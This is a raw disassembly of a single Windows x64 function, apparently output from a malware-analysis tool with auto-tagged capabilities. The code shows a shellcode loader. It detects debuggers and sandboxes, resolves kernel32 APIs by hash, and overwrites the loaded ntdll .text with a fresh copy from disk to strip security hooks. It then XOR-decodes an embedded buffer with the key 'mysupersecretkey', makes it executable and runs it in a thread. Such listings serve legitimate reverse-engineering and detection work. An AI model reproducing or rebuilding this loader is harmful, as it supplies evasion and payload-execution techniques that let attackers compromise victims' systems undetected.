Function at 0x140001160
Capabilities:
Check for peb ntglobalflag flag
Encode data using xor
Enumerate files on windows
Get common file path
Get memory capacity
Get system information on windows
Terminate process

Disassembly:
push rbx
push rdi
sub rsp, 0x388
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x360], rax
lea rax, [rsp + 0x78]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140001657
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1400011c1
lea rcx, str.attached_debugger_detected_:__n
jmp 0x1400012e8
lea rcx, [rsp + 0xe0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x100], 2
jb 0x1400012e1
lea rcx, [rsp + 0xa0]
mov dword [rsp + 0xa0], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0xa8]
shr rax, 0x1e
cmp eax, 2
jb 0x1400012e1
mov rax, qword gs:[0x60]
test byte [rax + 0xbc], 0x70
jne 0x1400012e1
lea rax, [rsp + 0x250]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rdx, [rsp + 0x110]
xor ebx, ebx
lea rcx, [rsp + 0x250]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000128e
nop
test byte [rsp + 0x110], 0x10
lea ecx, [rbx + 1]
lea rdx, [rsp + 0x110]
cmovbe ecx, ebx
mov ebx, ecx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140001260
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
test ebx, ebx
je 0x140001657
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1400012b8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [rsp + 0x9c], 1
jne 0x1400012ed
mov eax, 0xfffffffe
mov rcx, qword [rsp + 0x360]
xor rcx, rsp
call fcn.140001670
add rsp, 0x388
pop rdi
pop rbx
ret
lea rcx, str.possibly_launched_in_sandbox_:__n
call fcn.140001010
mov qword [rsp + 0x3a0], rbp
mov qword [rsp + 0x3a8], rsi
mov qword [rsp + 0x3b0], r12
mov qword [rsp + 0x380], r13
mov qword [rsp + 0x378], r14
mov qword [rsp + 0x370], r15
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
xor eax, eax
lea rcx, str.kernel32.dll
mov qword [rsp + 0x90], rax
movups xmmword [rsp + 0x80], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
mov edx, 0x3283c47
mov r14, rax
call fcn.140001070
mov edx, 0x964f1ef
mov rcx, r14
mov r13, rax
call fcn.140001070
mov edx, 0x1c6a5211
mov qword [rsp + 0x50], rax
mov rcx, r14
call fcn.140001070
mov edx, 0x2f726bf
mov rcx, r14
mov r15, rax
call fcn.140001070
mov edx, 0xaf757dae
mov qword [rsp + 0x58], rax
mov rcx, r14
call fcn.140001070
mov edx, 0xf0b03804
mov qword [rsp + 0x60], rax
mov rcx, r14
call fcn.140001070
mov edx, 0xfd0820
mov rcx, r14
mov rbx, rax
call fcn.140001070
mov edx, 0x71a68244
mov rcx, r14
mov rdi, rax
call fcn.140001070
mov edx, 0x90e5f37
mov rcx, r14
mov rsi, rax
call fcn.140001070
mov edx, 0xfc97a3
mov rcx, r14
mov rbp, rax
call fcn.140001070
lea rcx, str.ntdll.dll
mov qword [rsp + 0x48], rax
mov r12, rax
call rbx
mov rcx, qword [rsp + 0x40]
lea r8, [rsp + 0x80]
mov r9d, 0x18
mov qword [rsp + 0x78], rax
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov r14, qword [rsp + 0x80]
lea rcx, str.c:windows_system32_ntdll.dll
xor ebx, ebx
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov edx, 0x80000000
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 3
lea r8d, [rbx + 1]
call rdi
xor r9d, r9d
mov qword [rsp + 0x28], rbx
xor edx, edx
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x20], ebx
mov r8d, 0x1000002
mov rcx, rax
call rsi
xor r9d, r9d
mov qword [rsp + 0x70], rax
xor r8d, r8d
mov qword [rsp + 0x20], rbx
lea edx, [rbx + 4]
mov rcx, rax
call rbp
movsxd rsi, dword [r14 + 0x3c]
mov rbp, rax
add rsi, r14
movzx edi, bx
cmp bx, word [rsi + 6]
jae 0x14000154e
lea r8, str..text
xor r12d, r12d
nop dword [rax]
movzx ecx, word [rsi + 0x14]
movzx eax, di
add rcx, rsi
lea rdx, [rax + rax*4]
mov rax, r12
lea rbx, [rcx + rdx*8]
nop word [rax + rax]
movzx ecx, byte [rbx + rax + 0x18]
inc rax
cmp cl, byte [r8 + rax - 1]
jne 0x14000153c
cmp rax, 6
jne 0x1400014d0
mov ecx, dword [rbx + 0x24]
lea r9, [rsp + 0x98]
mov edx, dword [rbx + 0x20]
lea r8d, [rax + 0x3a]
add rcx, r14
mov dword [rsp + 0x98], r12d
call r15
mov eax, dword [rbx + 0x24]
mov r8d, dword [rbx + 0x20]
lea rdx, [rax + rbp]
lea rcx, [rax + r14]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [rbx + 0x24]
lea r9, [rsp + 0x98]
mov edx, dword [rbx + 0x20]
add rcx, r14
mov r8d, dword [rsp + 0x98]
call r15
lea r8, str..text
inc di
cmp di, word [rsi + 6]
jb 0x1400014b0
mov r12, qword [rsp + 0x48]
xor edi, edi
mov edx, 0x114
xor ecx, ecx
mov dword [rsp + 0x9c], edi
mov r8d, 0x3000
lea r9d, [rdi + 4]
call r13
mov r14, qword [rsp + 0x378]
lea r8, [0x140005060]
mov r13, qword [rsp + 0x380]
lea r10, str.mysupersecretkey
mov rsi, qword [rsp + 0x3a8]
mov rbx, rax
mov rbp, qword [rsp + 0x3a0]
mov r9d, edi
mov edx, edi
cmp rdx, 0x10
lea r8, [r8 + 1]
mov rcx, rdi
cmovne rcx, rdx
inc r9d
movzx eax, byte [rcx + r10]
lea rdx, [rcx + 1]
xor byte [r8 - 1], al
cmp r9d, 0x114
jb 0x1400015a1
mov r8d, 0x114
lea rdx, [0x140005060]
mov rcx, rbx
call qword [rsp + 0x50]
lea r9, [rsp + 0x9c]
mov edx, 0x114
mov r8d, 0x20
mov rcx, rbx
call r15
mov r15, qword [rsp + 0x370]
test eax, eax
je 0x140001625
mov qword [rsp + 0x28], rdi
xor r9d, r9d
mov r8, rbx
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [rsp + 0x58]
mov rcx, rax
mov edx, 0xffffffff
call qword [rsp + 0x60]
mov rcx, qword [rsp + 0x40]
call r12
mov rcx, qword [rsp + 0x68]
call r12
mov rcx, qword [rsp + 0x70]
call r12
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov r12, qword [rsp + 0x3b0]
xor eax, eax
jmp 0x1400012c7
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3